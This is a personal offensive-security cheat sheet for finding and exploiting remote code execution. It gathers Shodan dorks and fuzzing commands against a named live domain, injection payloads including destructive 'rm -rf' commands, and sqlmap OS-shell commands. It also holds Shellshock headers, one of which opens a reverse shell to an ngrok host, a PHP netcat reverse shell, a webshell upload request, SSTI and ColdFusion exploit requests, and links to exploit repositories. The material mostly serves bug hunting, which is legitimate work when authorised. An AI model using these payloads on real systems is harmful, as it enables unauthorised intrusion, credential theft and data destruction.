Labib Hossain

RCE recon a to z:

###dorking

1. sample: site:*.target.com AND intext:’their_password   (this process)
2. https://www.shodan.io/

```
example: http.favicon.hash:2141724739/http.favicon.hash:<hash>
“OS Build: <build number>”
“SERVER: Linux/<linux_kernel_version>”
 "http server php"
 "mysql"
 "ssh" port:22
 apache country:US
 apache city:"San Francisco"
 vuln:CVE-2020-0688
 country:"IN" Windows:"10"
```

###Parameters finder

```
ali㉿kali)-[~/Desktop/SecLists-master/Fuzzing/LFI]
ffuf -w LFI-Jhaddix.txt -u "https://williamhill.us/FUZZ"
ffuf -w LFI-Jhaddix.txt -u "https://williamhill.us/FUZZ" -mc 200
https://github.com/tomnomnom/qsreplace   (parameters chechking)
cat url.txt | gf rce
```

##Subdomain finding , Parameters finding , linkfinder etc:

### How to find Remote Code Execution RCE Parameters, If these Parameters are available then Remote Code Execution RCE can be taken.

###Top 25 Remote Code Execution (RCE) Parameters for @trbughunters

1. ?cmd={payload}
2. ?exec={payload}
3. ?command={payload}
4. ?execute={payload}
5. ?ping={payload}
6. ?query={payload}
7. ?jump={payload}
8. ?code={payload}
9. ?reg={payload}
10. ?do={payload}
11. ?func={payload}
12. ?arg={payload}
13. ?option={payload}
14. ?load={payload}
15. ?process={payload}
16. ?step={payload}
17. ?read={payload}
18. ?function={payload}
19. ?req={payload}
20. ?feature={payload}
21. ?exe={payload}
22. ?module={payload}
23. ?payload={payload}
24. ?run={payload}
25. ?print={payload}

### Server-Side Script Parameters:

```
PHP: include, require, eval, system, exec
Python: eval, exec, subprocess.run
Node.js: eval, child_process.exec
Ruby: eval, system, exec
```

#### RCE check burpsuite

```
httpx -h | grep "http"
httpx -l nn.txt -http-proxy http://127.0.0.1:8080   (nn.txt all domain list)
waybackurls -no-subs vulnweb.com | sort -u | gf rce | httpx -http-proxy
http://127.0.0.1:8080   (rce all finder burp suite)
```

## Using blacklists to prevent command injection

```
1. address=8.8.8.8%3Bwhoami (; character, Linux only)
2. address=8.8.8.8&26whoami (& character, Windows only)
3. address=8.8.8.8%7Cwhoami (| character)
4. address=invalid%7C%7Cwhoami (|| characters, the second command is executed only if the
first command fails)
5. address=8.8.8.8&26&26whoami (&& characters)
6. %3E(whoami) (> character, Linux only)
** ping.php?address=8.8.8.8%26dir
7. %60whoami%60 (` character, Linux only, the result will be reported by the ping command
as an error)
```

Therefore, if you absolutely need to use blacklisting, you must filter or escape the following special characters:

use only:

```
8. Windows: ( ) < > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , `
9. Linux: { } ( ) < > & * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : + , `
```

## CWE-94: Improper Control of Generation of Code ('Code Injection')

```
1. name=h4x0r
2. message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
3. <?php system("/bin/ls -l");?>
4. add_key(",","); system("/bin/ls");
5. config_file_add_key(",","); system("/bin/ls");
6. __import__('subprocess').getoutput('rm -r *')
7. /index.php?arg=1; system('id')
8. /index.php?arg=1; phpinfo()
9. eval()
10. include()
11. <?php eval("echo ".$_GET["user"].";"); ?>
```

USE many item process encode,decode,base64 try now

kali linux use

```
egrep -o '[0-9]{5}+\.+[0-9a-fA-F]{0,62}' file.txt|sort -u|cut -d. -f2|xxd -r -p    (all
domain password finding)
```

```
sqlmap -u "https://snoopy-college.tld/api/v1/StudentSomething?parameter1=9999" -H
"Cookie: uni-cookie=MY-COOKIE-HERE"  --random-agent --os-cmd whoami     (sqlmap rce
command)
```

```
sqlmap -u "https://snoopy-college.tld/api/v1/StudentSomething?parameter1=9999" -H
"Cookie: uni-cookie=MY-COOKIE-HERE"  --random-agent --os-shell
```

```
curl -kv "https://<target>/about.php?PHPRC=/dev/fd/0" --data-binary
'auto_prepend_file="/etc/passwd"'
```

```
curl -X POST -d "strCommand=GETUSERINFO'.'&strParam1='.'|user='.$_POST['user_id'].'|"
'.$url.' -k

 curl -i -X POST
http://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=your_new_user_
here -H 'Content-type: application/json' -H 'Accept: application/json' -u

 curl -i -u crowd_administrator_username_here:crowd_administrator_password_here -X PUT --
data '{"name":"your_new_user_here", "active":"true"}'
http://subdomain.target.com/crowd/rest/usermanagement/1/user?username=your_new_user_here
--header 'Content-Type: application/json' --header 'Accept: application/json'


$ curl http://server-ip:8080/run -H 'Content-Type: application/json' -d
'{"language":"python","code":"import math\nprint(math.pi)"}'
{"error": false, "timeout": false, "truncated": false, "output": "3.141592653589793\n"}

curl https://www.sheer.com/ -F $'auto_prepend_file="/etc/passwd\n"' -F 'PHPRC=/dev/fd/0'
```

```
### RCE Payload apply use burp suite
nc -lvp <our_port>     (port connection)
cgi-bin/cvename.cgi?cmd=python%35%reverse.py    (same url rce search)
sort[]=submission-ask&search[]=gihub&offset=2    (url pattern make and switch)
command=ls
/crowd/plugins/servlet/exp?cmd=command_here
('w'h'o'a'm'i')     (use path)
system (id)
shell_exec()
uid=0(root) gid=0(root) groups=0(root)
/dev/fd/../environ
/proc/self/fd/../
<confluence_home>/confluence.cfg.xml
mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec(\"cat
${sl}etc${sl}resolv${dot}conf\");';#
sl=chr(47); // Character code of /
dot=chr(46); // Character code of .
echo shell_exec(\"cat ${sl}etc${sl}passwd\"); //
mp3\";id;#
\";id;#
<?php system('ls /') ?>
<? passthru("nc -e /bin/sh 192.168.33.128 4444");?>
```

```
###Path use RCE
/var/log/nginx/error.log
/ajax/system/sys_get_logfile.php
/tmp/raspap_debug.log
/legacy/ias/.aspx
###(burpsuite use pretty repeater)
path use:   =test;whoami   =test:w'h'o'a'm'i  =test&whoami  =test&&whoami  =test|whoamo
test||whoami
; ls
& whoami
| netstat
${@java.lang.Runtime@getRuntime().exec('ls')}
$(id)
```

```
#cmd: "transform", args: fontMatrix.slice()
cmd er pore bosbe a,b,c,d,c serial hisbe nicher gula
a. save();
```

```
b. transform(0.001,0,0,0.001,0,0);
c. scale(size,-size);
d. moveTo(0,0);
e. restore();
```

```
###User-Agent: rce
exec(), or passthru()
| rm -rf /
phpinfo()
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64;
Trident/5.0)'+(select*from(select(sleep(20)))a)+     (time base injection)
User-Agent:
User-Agent: () { :; }; echo ; bin/bash -c "whoami"
User-Agent: () { 'or' }; echo ; bin/bash -c "whoami"
User-Agent: () { :; }; echo ; bin/bash -c "nohup bash -i ?& /dev/tcp/6.ngrok.io/18482
0>&1 &"
User-Agent: aaa' or 1/*
X-Forwarded-Host: bing.com   (host er pore dite hbe)
"><img src/onerror=prompt(document.cookie)>
HTTP Headers:
X-Forwarded-For: $(id)
User-Agent: () { :;}; /bin/bash -c "echo vulnerable"
```

```
uploading rce:
POST /upload  HTTP/1.1
Host: test.vaadata.com
Content-Type: multipart/form-data; boundary=---------------------------
23970119286181897661102571495
Content-Length: 262

-----------------------------23970119286181897661102571495
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg

<?php
system("cat /etc/passwd");
?>
-----------------------------23970119286181897661102571495—
```

```
POST /emails  HTTP/1.1
Host: ssti.vaadata.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 273
Connection: close

email_to=pentest%40vaadata.com&content=Hello+{{customer.name}}+{%25+for+x+in+().__class__
.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{{x()._module.__builti
ns__['__import__']('os').popen("whoami").read()}}{%25endif%25}{%25+endfor+%25}&action=pre
view
```

```
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/114.0.5735.134 Safari/537.36
```

```
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct
type='xclassNamex'><var
name='VERSION'><string>1.0.0</string></var></struct></data></wddxPacket>
```

```
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct
type='xjava.util.Datex'><var
name='date'><string>our_input</string></var></struct></data></wddxPacket>
```

cfml rce:

```
<cffunction name="getObjects" output="false">
    <cfargument name="columnID" required="yes" type="numeric" >
    <cfargument name="ContentHistID" required="yes" type="string" >
    <cfargument name="siteID" required="yes" type="string" >

    <cfset var rsObjects=""/>

    <cfquery
attributeCollection="#variables.configBean.getReadOnlyQRYAttrs(name='rsObjects')#">
        select tcontentobjects.object,tcontentobjects.name,tcontentobjects.objectid,
tcontentobjects.orderno, tcontentobjects.params, tplugindisplayobjects.configuratorInit
from tcontentobjects
        inner join tcontent On(
        tcontentobjects.contenthistid=tcontent.contenthistid
        and tcontentobjects.siteid=tcontent.siteid)
        left join tplugindisplayobjects on (tcontentobjects.object='plugin'
                                            and
tcontentobjects.objectID=tplugindisplayobjects.objectID)
        where tcontent.siteid='#arguments.siteid#'
        and tcontent.contenthistid ='#arguments.contentHistID#'
        and tcontentobjects.columnid=#arguments.columnID#
        order by tcontentobjects.orderno
    </cfquery>

    <cfreturn rsObjects>

</cffunction>
```

```
<cfif IsDefined("URL.cmd")>
    <cfif ListFindNoCase("allowedCommand1,allowedCommand2,allowedCommand3", URL.cmd)>
        <cfexecute name="#URL.cmd#" />
    <cfelse>
        <cfoutput>Unauthorized command</cfoutput>
    </cfif>
```

```
</cfif>
```

github link:
https://github.com/klezVirus/CVE-2021-40444   (rce github use)
https://github.com/swisskyrepo/PayloadsAllTheThings
https://github.com/lutfumertceylan/top25-parameter   (vulnarable parameters list)
https://gist.github.com/pikpikcu/0145fb71203c8a3ad5c67b8aab47165b
https://github.com/hktalent/CVE-2020-2551
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-29300.yaml?ref=blog.projectdiscovery.io   (all template RCE nueclei)

```
## nuclei -id CVE-2023-29300 -list coldfusion_list.txt
```

Website link:
https://ansar0047.medium.com/remote-code-execution-unix-and-windows-4ed3367158b3   (rce all payload list)
https://www.invicti.com/blog/web-security/buffer-overflow-attacks/   (Bufferover flow)
https://www.invicti.com/learn/remote-code-execution-rce/
https://www.invicti.com/learn/os-command-injection/
https://cwe.mitre.org/data/definitions/94.html
https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/
https://medium.com/nerd-for-tech/finding-rce-in-opensource-raspap-ebe308c95ca6
https://www.claranet.com/us/blog/2023-04-17-path-traversal-remote-code-execution
https://corneacristian.medium.com/top-25-rce-bug-bounty-reports-bc9555cca7bc   (hackerone top 25 report rce)
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/special-http-headers
https://blog.projectdiscovery.io/hacking-apple-with-sql-injection/
https://blog.projectdiscovery.io/adobe-coldfusion-rce/
https://www.exploit-db.com/google-hacking-database   (dorking)

```
/FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]
```